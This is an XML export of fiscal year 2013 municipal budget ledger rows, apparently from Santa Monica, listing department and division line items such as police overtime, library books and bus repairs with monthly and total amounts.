<row _id="287"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>300.0</total></row>
<row _id="288"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="289"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="290"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1850.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1850.0</total></row>
<row _id="291"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>544040.0</object><object_description>BOOKS/PAMPHLETS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>570121.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>570121.0</total></row>
<row _id="292"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1988.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1988.0</total></row>
<row _id="293"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>566500.0</object><object_description>RECRUITING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>17000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17000.0</total></row>
<row _id="294"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511650.0</object><object_description>POLICE CADETS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>80485.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>805</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>81290.0</total></row>
<row _id="295"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8561.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8561.0</total></row>
<row _id="296"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>533160.0</object><object_description>PHOTO EQUIPMENT MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1700.0</total></row>
<row _id="297"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>566140.0</object><object_description>INVESTIGATION EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="298"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>566140.0</object><object_description>INVESTIGATION EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>43933.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>43933.0</total></row>
<row _id="299"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>23017.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>23017.0</total></row>
<row _id="300"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5500.0</total></row>
<row _id="301"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4300.0</total></row>
<row _id="302"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>101967.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1020</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>102987.0</total></row>
<row _id="303"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>235465.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>529</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>235994.0</total></row>
<row _id="304"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4194800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4194800.0</total></row>
<row _id="305"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>138800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>138800.0</total></row>
<row _id="306"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>588070.0</object><object_description>EDUC &amp; RECREATIONAL EQUIPMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8670.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8670.0</total></row>
<row _id="307"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4080.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4080.0</total></row>
<row _id="308"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="309"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555011.0</object><object_description>OUTSIDE REPAIRS - BUSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1288140.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1288140.0</total></row>
<row _id="310"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2601475.0</july><august>-87032</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-129590</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2384853.0</total></row>
<row _id="311"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>70000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>70000.0</total></row>
<row _id="312"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7000.0</total></row>
<row _id="313"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>127503.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1275</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>128778.0</total></row>
<row _id="314"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2800000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2800000.0</total></row>
<row _id="315"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="316"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6200131.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>39755</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6239886.0</total></row>
<row _id="317"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>119876.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>119876.0</total></row>
<row _id="318"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>9513.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9513.0</total></row>
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<row _id="327"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>32842.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>328</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>33170.0</total></row>
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<row _id="331"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="332"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
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<row _id="335"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>71869.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>71869.0</total></row>
<row _id="336"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8854.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8854.0</total></row>
<row _id="337"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="338"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>52989.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>105000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>157989.0</total></row>
<row _id="339"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>631.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>631.0</total></row>
<row _id="340"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569120.0</object><object_description>SM MUSEUM OF ART</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>60000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>60000.0</total></row>
<row _id="341"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569160.0</object><object_description>18TH STREET ARTS COMPLEX</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>34000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>34000.0</total></row>
<row _id="342"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>17995.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17995.0</total></row>
<row _id="343"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569180.0</object><object_description>HIGHWAYS PERFORMANCE SPACE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>26000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>26000.0</total></row>
<row _id="344"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1521.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>15</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1536.0</total></row>
<row _id="345"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>401660.0</object><object_description>WASTEWATER CAPITAL FAC FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-400000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-400000.0</total></row>
<row _id="346"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>401990.0</object><object_description>SADDLE FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-39000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-39000.0</total></row>
<row _id="347"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>405500.0</object><object_description>STORMWATER MGMT USER FEE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-1240000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1240000.0</total></row>
